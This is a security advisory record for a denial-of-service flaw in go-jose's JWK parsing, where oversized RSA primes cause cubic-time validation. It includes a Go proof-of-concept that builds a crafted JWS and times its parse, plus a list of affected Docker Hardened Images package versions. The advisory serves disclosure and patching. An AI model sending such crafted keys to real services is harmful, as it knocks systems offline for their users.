DHI-fmt3-fd57-5e5r-enm4

Source
https://scout.docker.com/v/DHI-fmt3-fd57-5e5r-enm4
Import Source
https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-fmt3-fd57-5e5r-enm4.json
JSON Data
https://api.osv.dev/v1/vulns/DHI-fmt3-fd57-5e5r-enm4
Upstream
Published
2026-11-11T19:56:08Z
Modified
2026-11-20T04:30:25Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
### Summary
Details

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

References

Affected packages

Docker Hardened Images:Alpine:3.24 / docker

Package

Name
docker
Purl
pkg:apk/dhi/docker

Affected ranges

Affected versions

29.*
29.5.2-r0
29.5.2-r1
29.5.3-r0
29.5.3-r1
29.6.0-r0
29.6.1-r0
29.6.1-r1
29.6.1-r2
29.6.2-r0
29.7.1-r0
29.7.2-r0
29.7.2-r1
29.7.2-r2
29.7.2-r3
29.7.2-r4
29.8.0-r0
29.8.1-r0
29.8.2-r0
29.8.2-r1
29.9.0-r0
29.9.1-r0
29.9.2-r0
29.9.2-r1
29.9.2-r2
29.9.2-r3
29.9.3-r0
29.9.3-r1
29.9.3-r2
29.9.3-r3
29.9.3-r4
29.10.0-r0
29.10.0-r1

Database specific

owner_kind
"HSP"
source
"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-fmt3-fd57-5e5r-enm4.json"